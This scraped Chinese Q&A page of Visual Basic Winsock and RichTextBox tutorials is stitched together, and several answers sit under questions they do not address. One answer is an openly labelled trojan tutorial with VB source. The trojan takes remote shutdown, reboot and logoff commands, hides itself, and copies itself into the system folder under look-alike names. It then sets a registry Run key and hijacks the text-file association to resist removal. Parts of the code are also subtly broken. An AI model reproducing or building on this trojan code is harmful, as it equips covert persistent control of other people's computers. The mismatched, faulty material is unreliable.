您现在的位置是: 首页 > 维护升级 维护升级

winsock控件有什么用_winsock控件使用详解

tamoadmin 2024-08-26 人已围观

简介1.怎样在vb中利用winsock控件,tcp协议实现多客户端连接?2.VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?3.VB中winsock控件的所有属性的做用帮我列出来?加分?4.vb里winsock控件数组使用的几个疑问5.WINSOCK控件怎么用,说详细点,VB可通过通过创建Winsock控件数组,使用一个控件Winsock也可以同时接受多个连接请求

1.怎样在vb中利用winsock控件,tcp协议实现多客户端连接?

2.VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?

3.VB中winsock控件的所有属性的做用帮我列出来?加分?

4.vb里winsock控件数组使用的几个疑问

5.WINSOCK控件怎么用,说详细点,

winsock控件有什么用_winsock控件使用详解

VB可通过通过创建Winsock控件数组,使用一个控件Winsock也可以同时接受多个连接请求。不需要关闭连接,而只需创建新的控件实例(通过设置其索引属性),然后在新的实例上调用 Accept 方法。

提供了访问 TCP 和 UDP 网络服务的方便途径。Microsoft Access、Visual Basic、Visual C++ 或 Visual FoxPro 的开发人员都可使用它。为编写客户或服务器应用程序,不必了解 TCP 的细节或调用低级的 Winsock APIs。通过设置控件的属性并调用其方法就可轻易连接到一台远程机器上去,并且还可双向交换数据。

代码实例:

下面的代码定名为 sckServer 的窗体上有一个 Winsock 控件,它的 Index 属性被设置为0;因此控件是控件数组的一部分。在声明部分,声明了一个模块级的变量 intMax。在窗体的 Load 中,intMax 被设置为 0,数组中第一个控件的

LocalPort 属性被设置为 1001。然后调用控件的 Listen 方法,使之成为“监听”控件。在连接请求到达时,代码将检测 Index 是否为 0(“监听”控件的值)。如果为 0,监听控件将增加 intMax 的值,并使用该号码来创建新的控件实例。然后,使用新的控件实例接受连接请求

Option Explicit

Private intMax As Long

Private Sub Form_Load()

intMax = 0

sckServer(0).LocalPort = 1001

sckServer(0).Listen

End Sub

Private Sub sckServer_ConnectionRequest _

(Index As Integer, ByVal requestID As Long)

If Index = 0 Then

intMax = intMax + 1

Load sckServer(intMax)

sckServer(intMax).LocalPort = 0

sckServer(intMax).Accept requestID

Load txtData(intMax)

End If

End Sub

怎样在vb中利用winsock控件,tcp协议实现多客户端连接?

这个是我以前学习的一个实例。希望对你有帮助!!!

用VB实现客户——服务器(TCP/IP)编程实例

-

现在大多数语言都支持客户-服务器模式编程,其中VB给我们提供了很好的客户-服务器编程方式。下面我们用VB来实现TCP/IP网络编程。

TCP/IP协议是Internet最重要的协议。VB提供了WinSock控件,用于在TCP/IP的基础上进行网络通信。当两个应用程序使用Socket进行网络通信时,其中一个必须创建Socket服务器侦听,而另一个必须创建Socket客户去连接服务器。这样两个程序就可以进行通信了。

1.创建服务器,首先创建一个服务端口号。并开始侦听是否有客户请求连接。

建立一窗体,并向其增加一个Winsock控件(可在工程菜单中的部件项来添加此控件)

添加两文本框Text1,Text2,和一按钮Command1

Private Sub Form_Load()

SockServer.LocalPort = 2000 ′服务器端口号,最好大于1000

SockServer.Listen ′开始侦听

End Sub

Private Sub Form_Unload(Cancel As Integer)

SockServer.Close

End Sub

Private Sub SockServer_Close()

SockServer.Close

End Sub

Private Sub SockServer_ConnectionRequest(ByVal requestID As Long)

SockServer.Close

SockServer.Accept requestID ′表示客户请求连接的ID号

End Sub

′当客户向服务器发送数据到达后,产生DataArrival,在中接收数据,GetData方法接收数据。

Private Sub SockServer_Data

Arrival(ByVal bytesTotal As Long)

Dim s As String

SockServer.GetData s

Text1.Text = s

End Sub

当我需要向客户发送数据时,只需调用SendData方法。

Private Sub Command1_Click()

SockServer .SendData Text2.Text

text1.text = text2.text

text2.text = ""

End Sub

2.创建客户。要创建客户连接服务器,首先设置服务器主机名,如IP地址、域名或计算机名,然后设置服务器端口,最后连接服务器。

建立一窗体,并向其增加一个Winsock控件(可在工程菜单中的部件项来添加此控件),取名为:SockC1。添加两文本框Text1,Text2,和一按钮Command1

Private Sub Form_Load()

dim my as string

my = SockCl.RemoteHostIP

SockCl.RemoteHost = my

′表示服务器主机名

SockCl.RemotePort = 2000

′表示服务器端口名

SockCl.Connect

′连接到服务器

End Sub

Private Sub Form_Unload(Cancel As Integer)

SockCl.Close

End Sub

Private Sub SockCl_Close()

SockCl.Close

End Sub

Private Sub SockCl_DataArrival(ByVal bytesTotal As Long)

Dim s As String

SockCl.GetData s ′接收数据到文本框中

Text1.Text = s

End Sub

Private Sub Command1_Click()

SockCl.SendData Text2.Text ′向服务器发送数据

text1.text = text2.text

text2.text = ""

End Sub

3.进行通信。把这两个窗体分别编译成两个EXE文件,服务器Server.exe和客户Client.exe程序,并把它们分别安装在服务器端和客户端,这样就可以实现两者通信了。

------------------------------------整理后的代码如下-------------------------------

Private Sub Form_Load()

Dim my As String

my = SockCl.RemoteHostIP

SockCl.RemoteHost = my

SockCl.RemotePort = 2000

SockCl.Connect

End Sub

Private Sub Form_Unload(Cancel As Integer)

SockCl.Close

End Sub

Private Sub SockCl_Close()

SockCl.Close

End Sub

Private Sub SockCl_DataArrival(ByVal bytesTotal As Long)

Dim s As String

SockCl.GetData s

Text1.Text = s

End Sub

Private Sub Command1_Click()

SockCl.SendData Text2.Text

Text1.Text = Text2.Text

Text2.Text = ""

End Sub

Private Sub Form_Load()

SockServer.LocalPort = 2000

SockServer.Listen

End Sub

Private Sub Form_Unload(Cancel As Integer)

SockServer.Close

End Sub

Private Sub SockServer_Close()

SockServer.Close

End Sub

Private Sub SockServer_ConnectionRequest(ByVal requestID As Long)

SockServer.Close

SockServer.Accept requestID

End Sub

Private Sub Command1_Click()

SockServer.SendData Text2.Text

Text1.Text = Text2.Text

Text2.Text = ""

End Sub

Private Sub SockServer_DataArrival(ByVal bytesTotal As Long)

Dim s As String

SockServer.GetData s

Text1.Text = s

End Sub

VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?

通信程序通常都是用Client/Server形式。这就要求作为服务器的主机可以同时处理多个客户的请求。因此在编写服务器程序时要添加多个Winsock控件。在开始我们先加入两个Winsock控件。其中一个用来侦听网上请求信号,取名为Listener;另外一个为初始的连接口,取名叫Sock(0)。注意,后一个控件要设为动态数组的形式,以后当客户增多时,可在这个控件基础上动态增加。由于受限制,我们在本例中设定最多可以同时接纳15个客户。客户机一般只与一个主机相连,因此程序只须一个Winsock进行连接就足够了。这个程序要用到的控件较少,除了Winsock和Form控件外,只须再添加Commmand控件即可。下面是具体程序和详细注释。

******************************

服务器程序

******************************

Option Explicit

定义常量

Const BUSY As Boolean = False

Const FREE As Boolean = True

定义连接状态

Dim ConnectState() As Boolean

Private Sub Form_Load()

ReDim Preserve ConnectState(0 To 1)

On Error Resume Next

ConnectState(0) = FREE

ConnectState(1) = FREE

’指定网络端口号

Listener.LocalPort = 1011

‘开始侦听

Listener.Listen

End Sub

Private Sub Listener_ConnectionRequest(ByVal requestID As Long)

Dim SockIndex As Integer

Dim SockNum As Integer

On Error Resume Next

Form1.Print requestID & "连接请求"

查找连接的用户数

SockNum = UBound(ConnectState)

If SockNum > 14 Then

Form1.Print SockIndex & ""

Exit Sub

End If

查找空闲的sock

SockIndex = FindFreeSocket()

’如果已有的sock都忙,而且sock数不超过15个,动态添加sock

If SockIndex > SockNum Then

Load Sock(SockIndex)

End If

ConnectState(SockIndex) = BUSY

Sock(SockIndex).Tag = SockIndex

接受请求

Sock(SockIndex).Accept (requestID)

Form1.Print SockIndex & "接受请求"

End Sub

客户断开,关闭相应的sock

Private Sub Sock_Close(Index As Integer)

If Sock(Index).State <> sckClosed Then

Sock(Index).Close

End If

ConnectState(Index) = FREE

Form1.Print Index & "close"

End Sub

接收数据

Private Sub Sock_DataArrival(Index As Integer, ByVal bytesTotal As Long)

Dim dx As Double

Form1.Print "数据来自" & Index

Sock(Index).GetData dx, vbDouble

Form1.Print "dx=" & dx

End Sub

寻找空闲的sock

Public Function FindFreeSocket()

Dim SockCount, i As Integer

SockCount = UBound(ConnectState)

For i = 0 To SockCount

If ConnectState(i) = FREE Then

FindFreeSocket = i

Exit Function

End Ifs

Next i

ReDim Preserve ConnectState(0 To SockCount + 1)

FindFreeSocket = UBound(ConnectState)

End Function

***************************

客户程序

’***************************

Option Explicit

发送数据

Private Sub command1_Click()

Dim dx As Double

dx = 23.9

sock.SendData dx

MsgBox ("data sended")

End Sub

Private Sub Form_Load()

远程主机名

sock.RemoteHost = "media2"

网络端口

sock.RemotePort = 1011

发出连接命令

sock.Connect

Command1.Enabled = False

End Sub

服务器关闭

Private Sub sock_Close()

MsgBox ("socket closed")

End Sub

连接成功

Private Sub sock_Connect()

MsgBox ("socket connected")

Command1.Enabled = True

End Sub

VB中winsock控件的所有属性的做用帮我列出来?加分?

首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。\x0d\  接下来我们回来frmServer窗体模块中,添加如下代码:\x0d\  Private Sub form_Load()\x0d\   With Me\x0d\   .sckServer.LocalPort = 4000‘本地端口\x0d\   .sckServer.Listen ‘开始监听\x0d\   End With\x0d\  End Sub\x0d\  ‘接受客户端的连接请求。\x0d\  Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)\x0d\   With Me\x0d\   If .sckServer.State sckClosed Then .sckServer.Close\x0d\   .sckServer.Accept (requestID)\x0d\   End With\x0d\  End Sub\x0d\  下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:\x0d\  Private Sub form_Load()\x0d\   With Me\x0d\   .sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。\x0d\   .sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.\x0d\   End With\x0d\  End Sub\x0d\  Private sub cmdConnect_Click()\x0d\  SckClient.Connect\x0d\  End sub\x0d\  至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect中加入代码:debug.print “Connetion successful!”来查看。\x0d\  这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能———关机,重启,注销。好,开始吧!\x0d\  在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:\x0d\   Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long\x0d\  Public Const EWX_LOGOFF = 0\x0d\  Public Const EWX_REBOOT = 2\x0d\  Public Const EWX_SHUTDOWN = 1\x0d\  Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long\x0d\  Public Type RECT\x0d\   Left As Long\x0d\   Top As Long\x0d\   Right As Long\x0d\   Bottom As Long\x0d\  End Type\x0d\  注:在两个socket中编程中,进行通信的重要是DataArrival,用于接收远程数据。\x0d\  下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:\x0d\  Private Sub cmdExit_Click()\x0d\   Me.sckClient.SendData "Exit"\x0d\  End Sub\x0d\  \x0d\  Private Sub cmdLogoff_Click()\x0d\   Me.sckClient.SendData "Logoff"\x0d\  End Sub\x0d\  \x0d\  Private Sub cmdReboot_Click()\x0d\   Me.sckClient.SendData "Reboot"\x0d\  End Sub\x0d\  全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial,接收客户端的请求。\x0d\  Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)\x0d\   Dim strData As String\x0d\   With Me\x0d\   '' 接收客户请求的信息\x0d\   .sckServer.GetData strData\x0d\   Select Case strData\x0d\   Case "Exit"\x0d\   ''关机\x0d\   Call ExitWindowsEx(EWX_SHUTDOWN, 0)\x0d\   Case "Reboot"\x0d\   ''重启\x0d\   Call ExitWindowsEx(EWX_REBOOT, 0)\x0d\   Case "Logoff"\x0d\   ''注销\x0d\   Call ExitWindowsEx(EWX_LOGOFF, 0)\x0d\   End Select\x0d\   End With\x0d\  End Sub\x0d\  好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!\x0d\  回到Server工程中的modApi中加入如下API函数:\x0d\  Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\x0d\  Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\x0d\  Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\x0d\  Public Const REG_BINARY = 3\x0d\  Public Const REG_SZ = 1\x0d\  Public Const HKEY_LOCAL_MACHINE = &H80000002\x0d\  Public Const HKEY_CLASSES_ROOT = &H80000000\x0d\  写到注册表启动组中的过程。\x0d\  Public Sub StartupGroup()\x0d\   Dim sKey As String\x0d\   Dim result As Long\x0d\   Dim hKeyID As Long\x0d\   Dim sKeyVal As String\x0d\   \x0d\   sKey = "Systrsy" ''启动组中的键,找一个与系统文件相近的。\x0d\   sKeyVal = "C:\windows\system\systrsy.exe" ''木马文件的路径,可以用GetSystemDirectory来取得系统路径。\x0d\   result = RegOpenKey(HKEY_LOCAL_MACHINE, _\x0d\   "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)\x0d\   If result = 0 Then\x0d\   result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _\x0d\   Len(sKey) + 1)\x0d\   End If\x0d\  End Sub\x0d\  好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:\x0d\  Public Sub WriteToTxt()\x0d\   Dim result As Long\x0d\   Dim hKeyID As Long\x0d\   Dim skey As String\x0d\   Dim skeyVal As String\x0d\   skey = "txtfile\shell\open\command"\x0d\   skeyVal = "C:\windows\system\txtView.exe"\x0d\   result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)\x0d\   If result = 0 Then\x0d\   result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _\x0d\   skeyVal, Len(skeyVal) + 1)\x0d\   End If\x0d\  End Sub\x0d\  肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。\x0d\  好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:\x0d\  Dim sCurrentPath As String, sSystemDir As String\x0d\   sCurrentPath = App.Path & "\" & App.EXEName & ".exe"\x0d\   sSystemDir = “C:\windows\system”\x0d\   On Error Resume Next\x0d\  ‘复制文件成系统目录下的Systrsy.exe\x0d\   FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"\x0d\   On Error Resume Next\x0d\  复制文件成系统目录下的txtView.exe\x0d\   FileCopy sCurrentPath, sSystemDir & "\txtView.exe"\x0d\  \x0d\  调用\x0d\  Call startupGroup\x0d\  Call WriteToTxt\x0d\  \x0d\  ''判断程序是否下在运行\x0d\   If App.PrevInstance Then\x0d\   ‘如果已经运行就退出。\x0d\   End\x0d\   End If

vb里winsock控件数组使用的几个疑问

Winsck的主要属性:

属性名 说明

BytesReceived 返回接收的数据,可以用GetData方法来获取它

LocalHostName 本机名

LocalIP 本机IP

LocalPort 或设置本机所用的端口,如果为0则为随机产生

Protocol 通信所用的协议

RemoteHostName 通信对方的计算机名

RemoteHostIP 通信对方的IP

State 返回Winscok的当前状态,取值如下

sckClosed(常量为0):关闭状态

sckOpen(常量为1):打开状态

sckListening(常量为2):侦听状态

sckConnectionPending(常量为3):连接状态

sckResolvingHost(常量为4):解析主机中

sckHostResolved(常量为5):已解析主机

sckConnecting(常量为6):正在连接

sckConnected(常量为7):已经连接

sckClosing(常量为8):客户端正在关闭

sckError(常量为9):连接发生错误

Winsock的主要方法:

方法名 作用

listen 使服务器程序处于侦听状态,等待客户端的连接请求

connect 用于客户端向远程发送一个连接请求,语法:Winsock.connect [IP,Port]

Accept 用于服务器接收一个远程客户端的连接请求,语法:Winsock.Accept requestID

sendData 用于向远程发送数据,语法:Winsock.sendData 数据

getData 用于接收远程发送来的数据,语法:Winsock.getData 变量

Close 关闭通信

Winsock的主要:

名 说明

Connect 当服务器接收客户端请求时,服务端发生的

DataArrival 有数据到达时发生的,可以在这个中来getData发送来的数据

ConnectionRequest 客户端用Connect方法时服务器发生的,可以在这个中来Accept一个连接请求

SendProgress 发送数据中发生的,可以在这个中来标示当前已经发送多少数据

SendComplete 发送数据完成发生的

Error 通信发生错误时发生的

Close 关闭通信时发生的

WINSOCK控件怎么用,说详细点,

1.在建立连接的时候就是使用单独的winsock控件与客户端进行点对点连接,在连接后就创建一个列表记录下客户端的信息,因此只要知道winsock控件数组的Index即可得知

2.客户端断开后会在服务端对应的winsock控件触发一个Close,如果WinSock(Index).State <> sckClosed那么就表示客户端断开。

3.winsock1(0)需要监听端口,另外建议单独设置一个winsock专门监听客户端的连接,在ConnectionRequest里添加接受请求的代码,requestID就是客户端的请求ID。

首先应该查找Winsock数组里有无空闲的sock,如果有那么就用空闲的回应连接请求,如果无那么就load一个新的winsock去回应。

RichTextBox 控件不仅允许输入和编辑文本,同时还提供了标准 TextBox 控件未具有的、更高级的指定格式的许多功能。

语法

RichTextBox

说明

RichTextBox 提供了一些属性,对于本控件文本的任何部分,用这些属性都可以指定格式。为了改变文本的格式,首先要选定它。只有选定的文本才能赋予字符和段落格式。使用这些属性,可把文本改为粗体或斜体,或改变其颜色,以及创建上标和下标。通过设置左右缩进和悬挂式缩进,可调整段落的格式。

RichTextBox 控件能以 rtf 格式和普通 ASCII 文本格式这两种形式打开和保存文件。可以使用控件的方法(LoadFile 和 SeFile)直接读写文件,或使用与 Visual Basic 文件输入/输出语句联结的、诸如 SelRTF 和 TextRTF 之类的控件属性打开和保存文件。

通过使用 OLEObjects 集合,RichTextBox 控件支持对象的嵌入。插入到控件中的每个对象,都代表 OLEObject 对象。用这样的控件,就可以创建包含其它文档或对象的文档。例如,可创建这样的文档,它有一个嵌入的 Microsoft Excel 电子数据表格、或 Microsoft Word 文档、或其它已在系统中注册的 OLE 对象。为了把一个对象插入到 RichTextBox 控件中,只需简单地拖动一个文件(例如 在Windows 95“管理器”中的拖动),或拖动的是另一应用程序(如 Microsoft Word)所用文件的一个突出显示的区域,然后将所拖内容直接放入控件。

RichTextBox 控件支持 OLE 对象的剪贴板和 OLE 拖/放操作。从剪贴板中粘贴进一个对象时,它被插在当前插入点处。一个对象被拖放到控件时,插入点将跟踪着鼠标光标的移动,直至鼠标按钮释放时该对象即被插入。这种行为和 Microsoft Word 的一样。

使用 SelPrint 方法,可以打印 RichTextBox 控件的全部或部分文本。

因为 RichTextBox 是一个数据绑定控件,通过 Data 控件可以把它绑定到 Microsoft Access 数据库的 Binary 或 Memo 字段上,也可把它绑定到具有相同容量的其它数据库字段上(例如 SQL 服务器中的 TEXT 数据类型的字段)。

标准 TextBox 控件用到的所有属性、和方法,RichTextBox 控件几乎都能支持,例如 MaxLength、 MultiLine、 ScrollBars、 SelLength、 SelStart 和 SelText。对于那些可以使用 TextBox 控件的应用程序,也可以很容易地使用 RichTextBox 控件。而且,RichTextBox 控件并没有和标准 TextBox 控件一样具有 64K 字符容量的限制。

发行注意 为了能在应用程序中使用 RichTextBox 控件,必须把Richtx32.ocx 文件添加到工程中。因此,在应用程序发行时,Richtx32.ocx 文件就应安装在 Microsoft Windows 的 SYSTEM 目录内。有关怎样把自定义控件添加到工程中的详细内容,请参阅《程序员指南》。

示例:

richtextbox的用法:

Private Sub Command1_Click()

With RichTextBox1

.SelStart = 0

.SelLength = 3

.SelColor = vbRed

.SelBold = True

End With

End Sub

Private Sub Command2_Click()

With RichTextBox1

.SelStart = 3

.SelLength = 3

.SelFontSize = 12

.SelItalic = True

End With

End Sub

Private Sub Form_Load()

RichTextBox1.Text = "123456"

End Sub

================================================================

With RichTextBox1

.SelStart = 0

.SelLength = 3 ’长度为3

.SelColor = vbRed ’颜色

.SelBold = True ’粗为真

End With

With RichTextBox1

.SelStart = 3

.SelLength = 3 ’长度3

.SelFontSize = 12 ’字大小:12号

.SelItalic = True

End With

==============================================================

With RichTextBox1

.SelStart = 0 ’从第0个字符开始选择(从0开始,然后1,2,……)

.SelLength = 3 ’一共选择3个字符

.SelColor = vbRed ’将选择了的字符的颜色设为红色

.SelBold = True ’将选择了的字符的粗体设为真

End With

==============================================================

Private Sub Form_Load()

RichTextBox1.Text = "中国人" & vbCrLf & "网络公司"

RichTextBox1.Font = "宋体"

RichTextBox1.SelStart = 0

RichTextBox1.SelLength = 3

RichTextBox1.SelFontName = "宋体"

RichTextBox1.SelFontSize = 25

RichTextBox1.SelColor = vbBlue

RichTextBox1.SelStart = 5

RichTextBox1.SelLength = 4

RichTextBox1.SelFontName = "黑体"

RichTextBox1.SelFontSize = 18

RichTextBox1.SelColor = vbRed

RichTextBox1.SelLength = 0

End Sub

==================================================

Windows 窗体 RichTextBox 控件介绍

Windows 窗体 RichTextBox 控件用于显示、输入和操作格式文本。RichTextBox 控件除了做 TextBox 控件所做的每件事外,还可以显示字体、颜色和链接,从文件加载文本和加载嵌入的图像,以及查找指定的字符。RichTextBox 控件通常用于提供类似字处理程序(如 Microsoft Word)的文本操作和显示功能。RichTextBox 控件可以显示滚动条,这一点与 TextBox 控件相同;但是与 TextBox 控件不同的是,RichTextBox 控件的默认设置是水平和垂直滚动条均根据需要显示,并且拥有更多的滚动条设置。

与 TextBox 控件一样,显示的文本由 Text 属性设置。RichTextBox 控件有许多格式文本属性。有关这些属性的详细信息,请参见为 Windows 窗体 RichTextBox 控件设置字体属性和在 Windows 窗体 RichTextBox 控件中设置缩进、悬挂缩进和带项目符号的段落。为操作文件,LoadFile 和 SeFile 方法可以显示和编写包括纯文本、Unicode 纯文本和 RTF 格式在内的多种文件格式。可能的文件格式在 RichTextBoxStreamType 枚举中列出。可以使用 Find 方法查找文本字符串或特定字符。

也可以通过将 DetectUrls 属性设置为 true 并编写处理 LinkClicked 的代码,将 RichTextBox 控件用于 Web 样式的链接。有关更多信息,请参见使用 Windows 窗体 RichTextBox 控件显示 Web 样式的链接。将 SelectionProtected 属性设置为 true 可以防止用户操作控件中的部分或全部文本。

在 RichTextBox 控件中可以通过调用 Undo 和 Redo 方法撤消和重复大多数编辑操作。CanRedo 方法使您可以确定用户撤消的上一操作是否可以重新应用于控件。